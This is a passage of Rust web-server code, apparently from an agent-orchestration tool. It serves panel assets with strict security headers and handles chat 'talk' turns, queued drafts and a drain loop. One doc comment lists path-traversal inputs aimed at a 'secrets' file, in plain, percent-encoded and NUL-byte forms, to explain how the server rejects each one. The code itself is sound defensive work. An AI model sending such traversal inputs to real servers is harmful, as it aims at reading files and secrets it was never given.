6170/// `GET /api/questions/{id}/asset/{name}`.
6171///
6172/// One file from the question's own panel directory, so a panel can show a
6173/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6174/// having to allow anything off this machine.
6175///
6176/// This is the only route in the server where a client names a file, so it is
6177/// the only one with a traversal surface, and the name is checked by
6178/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6179/// what is worth being explicit about, because the answer is not "all of it in
6180/// one place":
6181///
6182/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6183///   the raw request path and `{name}` spans exactly one segment, so a real
6184///   slash makes the request too long for the route and the router answers 404.
6185/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6186///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6187///   `..\secrets` respectively, which look like plain filenames to the router.
6188///   The validator refuses them here - both for the literal `..` and because
6189///   `/` and `\` are not in the permitted character set - and answers 400.
6190/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6191///   the platform's path API is not, and it is refused here for the same
6192///   reason: NUL is not a permitted character.
6193/// * [`Questions::panel_asset`] validates again on read, so the check is not
6194///   load-bearing in only one place. This route's own check exists so the
6195///   failure is a 400 that says which name was wrong, rather than a store error
6196///   the operator has to interpret.
6197async fn question_asset(
6198    State(ui): State<Arc<Ui>>,
6199    Path((id, name)): Path<(String, String)>,
6200) -> ApiResult<Response> {
6201    // Before any filesystem work and before any path is built: a name this
6202    // server will not serve should not become a `PathBuf` at all.
6203    if !crate::ask::valid_asset_name(&name) {
6204        return Err(ApiError::bad_request(format!(
6205            "`{name}` is not a usable asset name"
6206        )));
6207    }
6208    blocking(move || {
6209        let id = resolve_question(&ui.questions, &id)?;
6210        let asset = ui
6211            .questions
6212            .panel_asset(&id, &name)
6213            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6214        let Some(bytes) = asset else {
6215            return Err(ApiError::not_found(format!(
6216                "question {id} has no asset `{name}`"
6217            )));
6218        };
6219        Ok(panel_response(
6220            asset_content_type(&name),
6221            is_svg(&name),
6222            bytes,
6223        ))
6224    })
6225    .await
6226}
6227
6228/// Content type for a panel asset, from a closed whitelist.
6229///
6230/// A whitelist with an `application/octet-stream` fallback rather than a
6231/// guess, because the one answer that must never come out of here is
6232/// `text/html`. An agent that writes `notes.html` into its panel directory and
6233/// links it would otherwise get its own markup rendered at the top level of the
6234/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6235/// magi's origin - which is precisely the thing the panel design exists to
6236/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6237///
6238/// `nosniff` accompanies this on every response, so a browser cannot decide it
6239/// knows better than the type we sent.
6240fn asset_content_type(name: &str) -> &'static str {
6241    match extension(name).as_deref() {
6242        Some("png") => "image/png",
6243        Some("jpg" | "jpeg") => "image/jpeg",
6244        Some("gif") => "image/gif",
6245        Some("webp") => "image/webp",
6246        Some("svg") => "image/svg+xml",
6247        Some("css") => "text/css; charset=utf-8",
6248        Some("txt") => "text/plain; charset=utf-8",
6249        _ => "application/octet-stream",
6250    }
6251}
6252
6253/// Is this an SVG, and therefore a file that must never be opened at the top
6254/// level?
6255fn is_svg(name: &str) -> bool {
6256    extension(name).as_deref() == Some("svg")
6257}
6258
6259/// Lowercased extension, or `None` for a name without one.
6260fn extension(name: &str) -> Option<String> {
6261    name.rsplit_once('.')
6262        .map(|(_, ext)| ext.to_ascii_lowercase())
6263}
6264
6265/// Every panel response, with the four headers that make it safe and, for an
6266/// SVG, a fifth.
6267///
6268/// One function rather than a header list per handler, because a panel route
6269/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6270/// model gone, silently, on one of two routes. Adding a third panel route later
6271/// means calling this, and there is nowhere else to build a panel response.
6272///
6273/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6274/// as an `<img src>` inside the panel that script cannot run - but the asset
6275/// URL is also a plain URL an operator can be talked into opening in a tab,
6276/// where it is a document on magi's own origin. `Content-Disposition:
6277/// attachment` makes the browser download it instead of rendering it, which
6278/// closes that door without taking away the ability to draw a diff. Raster
6279/// images have no such execution surface and are left inline, so tapping a
6280/// screenshot still shows it.
6281fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6282    let mut res = (
6283        [
6284            (header::CONTENT_TYPE, content_type),
6285            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6286            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6287            (header::REFERRER_POLICY, "no-referrer"),
6288        ],
6289        body,
6290    )
6291        .into_response();
6292    if download {
6293        res.headers_mut().insert(
6294            header::CONTENT_DISPOSITION,
6295            HeaderValue::from_static("attachment"),
6296        );
6297    }
6298    res
6299}
6300
6301/// A talk as the phone reads it.
6302///
6303/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6304/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6305/// parses markdown itself - and the process-local `thinking` hint.
6306#[derive(Debug, Serialize)]
6307struct TalkView {
6308    #[serde(flatten)]
6309    talk: Talk,
6310    turn_bodies_md: Vec<Vec<md::Node>>,
6311    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6312    /// this server process.
6313    ///
6314    /// This is deliberately not durable: another server process cannot see
6315    /// it, and a restarted server must not claim an old turn is live. It is a
6316    /// progress hint rather than proof a reply landed; the transcript remains
6317    /// the source of truth for that.
6318    thinking: bool,
6319    /// Context-window usage, derived per request - see
6320    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6321    /// and each mutation) so the phone needs no extra call or polling.
6322    context: talk::ContextUsage,
6323    /// `[talk] operator_name`, when configured; the Chat labels the
6324    /// operator's turns with it.
6325    operator_name: Option<String>,
6326    /// The active persona's display name; `None` for the default voice.
6327    persona_name: Option<String>,
6328    /// URL of the avatar for the conversation's persona (the default voice
6329    /// included). Server-built; a configured `icon` never reaches the client.
6330    persona_avatar: String,
6331}
6332
6333impl TalkView {
6334    /// Reads the talk's repository config itself; a config that cannot be
6335    /// read leaves the window unknown but never fails the conversation.
6336    fn new(talk: Talk, thinking: bool) -> Self {
6337        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6338        Self::with_config(talk, thinking, cfg.as_ref())
6339    }
6340
6341    /// As [`Self::new`], with the config already in hand (the list reads one
6342    /// per repository, not one per conversation).
6343    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6344        let context = talk::context_usage(&talk, cfg);
6345        let turn_bodies_md = talk
6346            .turns
6347            .iter()
6348            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6349            .collect();
6350        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6351        let persona_name = persona::find(specs, &talk.persona)
6352            .filter(|p| !p.is_default())
6353            .map(|p| p.name);
6354        let persona_avatar = avatar_url(
6355            &talk.id,
6356            &persona::find(specs, &talk.persona)
6357                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6358        );
6359        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6360        Self {
6361            turn_bodies_md,
6362            thinking,
6363            context,
6364            operator_name,
6365            persona_name,
6366            persona_avatar,
6367            talk,
6368        }
6369    }
6370}
6371
6372/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6373/// conversation has filed, so the phone can follow one from inside the
6374/// conversation that asked for it rather than hunting the Queue for a task id
6375/// it may not remember.
6376#[derive(Debug, Serialize)]
6377struct TalkDetailView {
6378    #[serde(flatten)]
6379    view: TalkView,
6380    tasks: Vec<TaskView>,
6381    /// The agents this talk's repository can switch to; empty when its
6382    /// configuration cannot be read, which must not fail the whole detail.
6383    roster: Vec<RosterEntry>,
6384    /// The personas the conversation can pick from. The built-ins are always
6385    /// listed, even when the repository's configuration cannot be read.
6386    personas: Vec<PersonaEntry>,
6387}
6388
6389/// One persona as the talk's persona selector shows it.
6390#[derive(Debug, Serialize)]
6391struct PersonaEntry {
6392    id: String,
6393    name: String,
6394    /// Avatar URL, see [`TalkView::persona_avatar`].
6395    avatar: String,
6396}
6397
6398/// One roster agent as the talk's agent selector shows it.
6399#[derive(Debug, Serialize)]
6400struct RosterEntry {
6401    id: String,
6402    kind: AgentKind,
6403    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6404    runnable: bool,
6405}
6406
6407/// `GET /api/talks`.
6408///
6409/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6410/// own order.
6411async fn talks_list(
6412    State(ui): State<Arc<Ui>>,
6413    Query(q): Query<ListQuery>,
6414) -> ApiResult<Json<Vec<TalkView>>> {
6415    blocking(move || {
6416        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6417        Ok(Json(
6418            ui.talks
6419                .list()
6420                .into_iter()
6421                .filter(|talk| q.contains(&talk.id))
6422                .map(|talk| {
6423                    let thinking = ui.is_thinking(&talk.id);
6424                    let cfg = configs
6425                        .entry(talk.repo.clone())
6426                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6427                    TalkView::with_config(talk, thinking, cfg.as_ref())
6428                })
6429                .collect(),
6430        ))
6431    })
6432    .await
6433}
6434
6435/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6436/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6437/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6438/// end still opens a talk against an older binary.
6439#[derive(Debug, Default, Deserialize)]
6440#[serde(default)]
6441struct NewTalk {
6442    agent: Option<String>,
6443    repo: Option<PathBuf>,
6444    /// Remembered choices from the browser. Soft: kept as raw JSON so a
6445    /// wrong type is dropped like a stale value instead of failing the request;
6446    /// each falls back to its default on its own (see [`talk::begin_with`]).
6447    preferred_agent: Option<serde_json::Value>,
6448    persona: Option<serde_json::Value>,
6449    implementers: Option<serde_json::Value>,
6450}
6451
6452/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6453/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6454async fn talk_post(
6455    State(ui): State<Arc<Ui>>,
6456    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6457) -> ApiResult<impl IntoResponse> {
6458    // An absent body, or an empty one, is the normal way to open a talk - see
6459    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6460    // rather than refused.
6461    let body = match body {
6462        Ok(Json(body)) => body,
6463        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6464        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6465    };
6466    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6467    let cfg = config_for(&repo).await?;
6468    let view = blocking(move || {
6469        let preferred = talk::Preferred {
6470            agent: body
6471                .preferred_agent
6472                .as_ref()
6473                .and_then(|v| v.as_str())
6474                .map(str::to_owned),
6475            persona: body
6476                .persona
6477                .as_ref()
6478                .and_then(|v| v.as_str())
6479                .map(str::to_owned),
6480            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6481        };
6482        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6483        let thinking = ui.is_thinking(&talk.id);
6484        Ok(TalkView::new(talk, thinking))
6485    })
6486    .await?;
6487    Ok((StatusCode::CREATED, Json(view)))
6488}
6489
6490/// `GET /api/talks/{id}`.
6491async fn talk_detail(
6492    State(ui): State<Arc<Ui>>,
6493    Path(id): Path<String>,
6494) -> ApiResult<Json<TalkDetailView>> {
6495    blocking(move || {
6496        let id = resolve_talk(&ui.talks, &id)?;
6497        let talk = ui.talks.get(&id)?;
6498        let thinking = ui.is_thinking(&talk.id);
6499        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6500            .into_iter()
6501            .map(TaskView::from)
6502            .collect();
6503        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6504        let roster = cfg
6505            .as_ref()
6506            .map(|cfg| {
6507                cfg.agents
6508                    .iter()
6509                    .map(|a| RosterEntry {
6510                        id: a.id.clone(),
6511                        kind: a.kind,
6512                        runnable: agent::installed(a),
6513                    })
6514                    .collect()
6515            })
6516            .unwrap_or_default();
6517        let specs = cfg
6518            .as_ref()
6519            .map(|cfg| cfg.talk.personas.clone())
6520            .unwrap_or_default();
6521        let personas = persona::catalog(&specs)
6522            .into_iter()
6523            .map(|p| PersonaEntry {
6524                avatar: avatar_url(&talk.id, &p),
6525                id: p.id,
6526                name: p.name,
6527            })
6528            .collect();
6529        Ok(Json(TalkDetailView {
6530            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6531            tasks,
6532            roster,
6533            personas,
6534        }))
6535    })
6536    .await
6537}
6538
6539/// The body of `POST /api/talks/{id}/say`.
6540///
6541/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6542/// returned - never bytes of its own - so a turn with no images just omits
6543/// the field, which is what an older front end still does.
6544#[derive(Debug, Default, Deserialize)]
6545#[serde(default, deny_unknown_fields)]
6546struct NewTalkTurn {
6547    text: String,
6548    attachments: Vec<String>,
6549}
6550
6551#[derive(Debug, Deserialize)]
6552#[serde(deny_unknown_fields)]
6553struct EditTalkPending {
6554    text: String,
6555    expected_text: String,
6556    expected_attachments: Vec<String>,
6557}
6558
6559#[derive(Debug, Deserialize)]
6560#[serde(deny_unknown_fields)]
6561struct ClearTalkPending {
6562    expected_text: String,
6563    expected_attachments: Vec<String>,
6564}
6565
6566/// `POST /api/talks/{id}/say` - one turn of the conversation.
6567///
6568/// Not filesystem work, and therefore not routed through [`blocking`]: this
6569/// route spawns an agent CLI and a turn here can run for the whole of
6570/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6571/// research turn is expected to run commands rather than answer from what it
6572/// already knows. Holding an HTTP connection open that long is not a thing
6573/// to ask a phone to do; the operator's message is recorded and answered for
6574/// immediately, and the reply lands in the background, discovered through
6575/// the change stream's `talks_rev` the same way every other update on this
6576/// surface is.
6577async fn talk_say(
6578    State(ui): State<Arc<Ui>>,
6579    Path(id): Path<String>,
6580    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6581) -> ApiResult<(StatusCode, Json<TalkView>)> {
6582    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6583    if body.text.trim().is_empty() && body.attachments.is_empty() {
6584        return Err(ApiError::bad_request("say something"));
6585    }
6586
6587    let id = {
6588        let ui = Arc::clone(&ui);
6589        let asked = id.clone();
6590        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6591    };
6592    // A closed Talk never accepts a new immediate or queued turn. Check this
6593    // before claiming a slot so its ordinary domain refusal is a 409, not an
6594    // incidental failure from the later record/queue write.
6595    {
6596        let ui = Arc::clone(&ui);
6597        let id = id.clone();
6598        blocking(move || {
6599            let talk = ui.talks.get(&id)?;
6600            if !talk.status.open() {
6601                return Err(ApiError::conflict(format!(
6602                    "talk {} is {} and takes no more turns",
6603                    talk.short(),
6604                    talk.status.as_str()
6605                )));
6606            }
6607            Ok(())
6608        })
6609        .await?;
6610    }
6611
6612    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6613    // actually stores, before anything is written - an unknown id is a 4xx
6614    // that names it rather than a turn (or a queued draft) silently missing
6615    // an image.
6616    let attachments = {
6617        let ui = Arc::clone(&ui);
6618        let id = id.clone();
6619        let ids = body.attachments.clone();
6620        blocking(move || {
6621            ids.into_iter()
6622                .map(|att_id| {
6623                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6624                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6625                    })
6626                })
6627                .collect::<ApiResult<Vec<talk::Attachment>>>()
6628        })
6629        .await?
6630    };
6631
6632    // Pending recovery and a new immediate turn are decided under the same
6633    // claim lock. Without that one critical section, a second `/say` can see
6634    // the first request's claim as "busy" and append itself to the recovered
6635    // draft before the first request rejects it.
6636    let start = {
6637        let ui = Arc::clone(&ui);
6638        let id = id.clone();
6639        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6640    };
6641    let turn_guard = match start {
6642        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6643        TalkTurnStart::Pending => {
6644            return Err(ApiError::conflict(
6645                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6646            ));
6647        }
6648        TalkTurnStart::Foreign => {
6649            return Err(ApiError::conflict(
6650                "a turn is already running in another process; try again when it has finished",
6651            ));
6652        }
6653        TalkTurnStart::Busy => {
6654            // A turn is already running: queue rather than refuse. See
6655            // `Ui::begin_talk_turn` and `talk::queue`.
6656            //
6657            // The queue write and the drain it may owe live inside the task
6658            // `tokio::spawn` hands to the runtime, for the same reason the
6659            // immediate path below puts `record` there: a dropped handler
6660            // future must not be able to land between a durable write and
6661            // the task that answers it. `blocking` runs its closure on
6662            // `spawn_blocking`, which finishes whether or not anyone is left
6663            // to receive its result - so a disconnect at the `.await` below
6664            // would otherwise leave the draft persisted and the reclaimed
6665            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6666            // ever started and the queued text stranded until some later
6667            // `say` happened to pick it up. The caller's 202 travels back
6668            // over a `oneshot`, sent the moment the write lands.
6669            let (tx, rx) = tokio::sync::oneshot::channel();
6670            tokio::spawn({
6671                let ui = Arc::clone(&ui);
6672                let id = id.clone();
6673                let said = body.text.clone();
6674                async move {
6675                    let written = blocking({
6676                        let ui = Arc::clone(&ui);
6677                        let id = id.clone();
6678                        move || {
6679                            let mut talk = ui.talks.get(&id)?;
6680                            // A test-only stop point, right before the write
6681                            // an interleaving test needs to pin - see
6682                            // `BusyQueueGate`. `None` in every real server:
6683                            // the field only exists under `#[cfg(test)]`.
6684                            #[cfg(test)]
6685                            if let Some(gate) = ui
6686                                .busy_queue_gate
6687                                .lock()
6688                                .unwrap_or_else(PoisonError::into_inner)
6689                                .take()
6690                            {
6691                                let _ = gate.reached.send(());
6692                                let _ = gate.release.recv();
6693                            }
6694                            if let Err(error) =
6695                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6696                            {
6697                                if let Ok(fresh) = ui.talks.get(&id) {
6698                                    if !fresh.status.open() {
6699                                        return Err(ApiError::conflict(format!(
6700                                            "talk {} is {} and takes no more turns",
6701                                            fresh.short(),
6702                                            fresh.status.as_str()
6703                                        )));
6704                                    }
6705                                }
6706                                return Err(ApiError::from(error));
6707                            }
6708                            // The turn that looked busy a moment ago can have
6709                            // finished, found nothing to drain and given up the
6710                            // slot in the gap between that check and this write
6711                            // landing - see `drain_loop`'s own doc for the other
6712                            // half of why that gap would otherwise be able to
6713                            // open at all. Reclaiming the slot here, rather than
6714                            // trusting that whoever held it is still watching, is
6715                            // what stops the text just queued from being stranded
6716                            // until an unrelated future `say` happens to drain
6717                            // it.
6718                            let claim = match ui.begin_queued_talk_turn(&id)? {
6719                                Some(turn_guard) => {
6720                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6721                                    Some((talk.clone(), cfg, turn_guard))
6722                                }
6723                                None => None,
6724                            };
6725                            let thinking = ui.is_thinking(&id);
6726                            Ok((TalkView::new(talk, thinking), claim))
6727                        }
6728                    })
6729                    .await;
6730                    let (view, reclaimed) = match written {
6731                        Ok(pair) => pair,
6732                        Err(e) => {
6733                            // Nobody is listening if the handler's own future
6734                            // was already dropped - that is fine, nothing was
6735                            // persisted and there is no response left to carry
6736                            // this error to.
6737                            let _ = tx.send(Err(e));
6738                            return;
6739                        }
6740                    };
6741                    // If this fails, the caller is gone; the drain below still
6742                    // runs exactly as it would have for a caller that stayed.
6743                    let _ = tx.send(Ok(view));
6744                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6745                        let talks = ui.talks.clone();
6746                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6747                    }
6748                }
6749            });
6750            let view = rx
6751                .await
6752                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6753            return Ok((StatusCode::ACCEPTED, Json(view)));
6754        }
6755    };
6756
6757    let (talk, cfg) = {
6758        let ui = Arc::clone(&ui);
6759        let id = id.clone();
6760        blocking(move || {
6761            let talk = ui.talks.get(&id)?;
6762            let (cfg, _) = Config::discover(&talk.repo, None)?;
6763            Ok((talk, cfg))
6764        })
6765        .await?
6766    };
6767
6768    let talks = ui.talks.clone();
6769    // `record` runs *inside* the spawned task, rather than in this handler
6770    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6771    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6772    // doc), and that drop can land at any `.await` this function makes,
6773    // including one that has already produced its result but not yet
6774    // resumed. A message could end up recorded on disk with the handler
6775    // future gone before it ever reached the `tokio::spawn` that would have
6776    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6777    // that hands the whole future to the runtime as one unit - once made, no
6778    // later drop of *this* handler's own future (that call's return value is
6779    // never held onto here) can reach back in and stop it, so record and the
6780    // hand-off to `respond` are unconditionally atomic from the client's
6781    // point of view. The immediate response this handler owes the caller
6782    // travels back over a `oneshot`, sent the moment `record` succeeds.
6783    let (tx, rx) = tokio::sync::oneshot::channel();
6784    tokio::spawn({
6785        let ui = Arc::clone(&ui);
6786        let talks = talks.clone();
6787        let id = id.clone();
6788        let said = body.text.clone();
6789        let mut talk = talk.clone();
6790        async move {
6791            let recorded = blocking({
6792                let talks = talks.clone();
6793                move || {
6794                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6795                        if let Ok(fresh) = talks.get(&talk.id) {
6796                            if !fresh.status.open() {
6797                                return Err(ApiError::conflict(format!(
6798                                    "talk {} is {} and takes no more turns",
6799                                    fresh.short(),
6800                                    fresh.status.as_str()
6801                                )));
6802                            }
6803                        }
6804                        return Err(ApiError::from(error));
6805                    }
6806                    // `record` mutates `talk` in place to the freshly persisted
6807                    // state (status, pending, and the just-appended operator
6808                    // turn), so returning it here is equivalent to re-reading it
6809                    // from disk - without the extra round trip a re-read would
6810                    // need.
6811                    Ok((said.trim().to_owned(), talk))
6812                }
6813            })
6814            .await;
6815            let (text, mut talk) = match recorded {
6816                Ok(pair) => pair,
6817                Err(e) => {
6818                    // Nobody is listening if the handler's own future was
6819                    // already dropped - that is fine, there is no response
6820                    // left to carry this error to and nothing was persisted.
6821                    let _ = tx.send(Err(e));
6822                    return;
6823                }
6824            };
6825            let queued = talk.clone();
6826            let thinking = ui.is_thinking(&id);
6827            // If this fails, the caller is gone; the turn still runs below
6828            // exactly as it would have for a caller that stayed connected.
6829            let _ = tx.send(Ok((queued, thinking)));
6830
6831            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6832                // `respond` records the failure in the transcript itself,
6833                // which is what the phone reads; this line is for the
6834                // operator's terminal.
6835                tracing::warn!("talk {id} turn failed: {e:#}");
6836            }
6837            // Anything `talk::queue` added while the turn above was running
6838            // is still owed an answer - see `drain_loop`.
6839            drain_loop(talk, talks, cfg, id, turn_guard).await;
6840        }
6841    });
6842
6843    let (queued, thinking) = rx
6844        .await
6845        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6846
6847    // 202: the operator's message is recorded and a turn is running.
6848    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6849}
6850
6851/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6852/// changing it. The turn guard is the same per-talk ownership `talk_say`
6853/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6854async fn talk_pending_resume(
6855    State(ui): State<Arc<Ui>>,
6856    Path(id): Path<String>,
6857) -> ApiResult<(StatusCode, Json<TalkView>)> {
6858    let id = {
6859        let ui = Arc::clone(&ui);
6860        let asked = id.clone();
6861        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6862    };
6863    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6864        return Err(ApiError::conflict(
6865            "a talk turn is already running; the queued draft will be handled by it",
6866        ));
6867    };
6868    let (talk, cfg) = {
6869        let ui = Arc::clone(&ui);
6870        let id = id.clone();
6871        blocking(move || {
6872            let talk = ui.talks.get(&id)?;
6873            if !talk.status.open() {
6874                return Err(ApiError::conflict(format!(
6875                    "talk {} is {} and takes no more turns",
6876                    talk.short(),
6877                    talk.status.as_str()
6878                )));
6879            }
6880            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6881                return Err(ApiError::conflict("there is no queued draft to resume"));
6882            }
6883            let (cfg, _) = Config::discover(&talk.repo, None)?;
6884            Ok((talk, cfg))
6885        })
6886        .await?
6887    };
6888    let view = TalkView::new(talk.clone(), true);
6889    let talks = ui.talks.clone();
6890    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6891    Ok((StatusCode::ACCEPTED, Json(view)))
6892}
6893
6894/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6895/// releasing `turn` only once a check finds it truly empty. Shared by both
6896/// callers that can end up owning a talk's turn slot with something already
6897/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6898/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6899/// holder just gave up - see the comment at that call site.
6900///
6901/// The release is folded into the final generation check under `turn`'s own
6902/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6903/// free". Before its blocking `talk::drain`, this loop observes the queued
6904/// generation. A `say` that sees the turn busy writes its draft, then advances
6905/// that generation. Thus, if it lands while the drain is in flight, the final
6906/// check observes the advance and drains again; otherwise it releases the
6907/// claim while holding the same lock. This keeps the release/arrival handoff
6908/// atomic without holding the global claim mutex across filesystem I/O.
6909async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6910    let live_set = Arc::clone(&turn.turns);
6911    // `Option` rather than binding `turn` directly to a `_turn` that lives
6912    // for the whole function: releasing it has to happen by calling
6913    // `TalkTurnGuard::release` from inside the locked branch below, which
6914    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6915    // remove the id - correctly, if this loop is ever left some other way -
6916    // but doing it there misses the lock this loop is already holding, which
6917    // is the exact gap `release` exists to close.
6918    let mut turn = Some(turn);
6919    loop {
6920        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6921            // The lease was taken over while a turn ran. Whatever is queued
6922            // stays a draft; running it here would race the new owner.
6923            tracing::warn!("talk {id} lost its turn lease; not draining further");
6924            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6925            if let Some(turn) = turn.take() {
6926                turn.release(&mut live);
6927            }
6928            break;
6929        }
6930        {
6931            // A parking upgrade starts no further turn: whatever is queued
6932            // stays a durable draft for the successor.
6933            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6934            if live.parking {
6935                if let Some(turn) = turn.take() {
6936                    turn.release(&mut live);
6937                }
6938                break;
6939            }
6940        }
6941        // `talk::drain` takes the store lock and can write/rename the talk
6942        // file. Keep the turn mutex out of that synchronous work: it protects
6943        // every talk's in-memory claim, not this talk's disk operation.
6944        let observed = live_set
6945            .lock()
6946            .unwrap_or_else(PoisonError::into_inner)
6947            .queued
6948            .get(&id)
6949            .copied()
6950            .unwrap_or(0);
6951        let drained = blocking({
6952            let talks = talks.clone();
6953            let live_set = Arc::clone(&live_set);
6954            move || {
6955                // Promoting a draft is what starts a turn, so it is decided
6956                // under the same lock a parking upgrade takes: either the
6957                // promotion lands first (and its turn is waited for) or the
6958                // draft stays queued.
6959                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6960                let result = if live.parking {
6961                    Ok(None)
6962                } else {
6963                    talk::drain(&mut talk, &talks)
6964                };
6965                drop(live);
6966                Ok((talk, result))
6967            }
6968        })
6969        .await;
6970        let (next_talk, result) = match drained {
6971            Ok(drained) => drained,
6972            Err(e) => {
6973                tracing::warn!(
6974                    status = %e.status,
6975                    message = %e.message,
6976                    "talk {id} could not start queued-text drain"
6977                );
6978                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6979                turn.take()
6980                    .expect("held for the whole loop until released here")
6981                    .release(&mut live);
6982                break;
6983            }
6984        };
6985        talk = next_talk;
6986        let drained = match result {
6987            Ok(Some(drained)) => drained,
6988            Ok(None) => {
6989                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6990                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6991                    continue;
6992                }
6993                turn.take()
6994                    .expect("held for the whole loop until released here")
6995                    .release(&mut live);
6996                break;
6997            }
6998            Err(e) => {
6999                tracing::warn!("talk {id} could not drain queued text: {e:#}");
7000                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7001                turn.take()
7002                    .expect("held for the whole loop until released here")
7003                    .release(&mut live);
7004                break;
7005            }
7006        };
7007        let responded = match turn.as_ref() {
7008            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7009            None => Err(anyhow::anyhow!("the turn guard was released")),
7010        };
7011        if let Err(e) = responded {
7012            tracing::warn!("talk {id} turn failed: {e:#}");
7013        }
7014    }
7015}
7016
7017/// Clear a queued draft only if it remains exactly the one the caller saw.
7018async fn talk_pending_clear(
7019    State(ui): State<Arc<Ui>>,
7020    Path(id): Path<String>,
7021    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7022) -> ApiResult<Json<TalkView>> {
7023    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7024    blocking(move || {
7025        let id = resolve_talk(&ui.talks, &id)?;
7026        let mut talk = ui.talks.get(&id)?;
7027        if !talk.status.open() {
7028            return Err(ApiError::conflict(format!(
7029                "talk {} is {} and takes no more turns",
7030                talk.short(),
7031                talk.status.as_str()
7032            )));
7033        }
7034        if !talk::clear_pending_if_matches(
7035            &mut talk,
7036            &ui.talks,
7037            &body.expected_text,
7038            &body.expected_attachments,
7039        )? {
7040            return Err(ApiError::conflict(
7041                "queued message changed; reload it before clearing",
7042            ));
7043        }
7044        let thinking = ui.is_thinking(&talk.id);
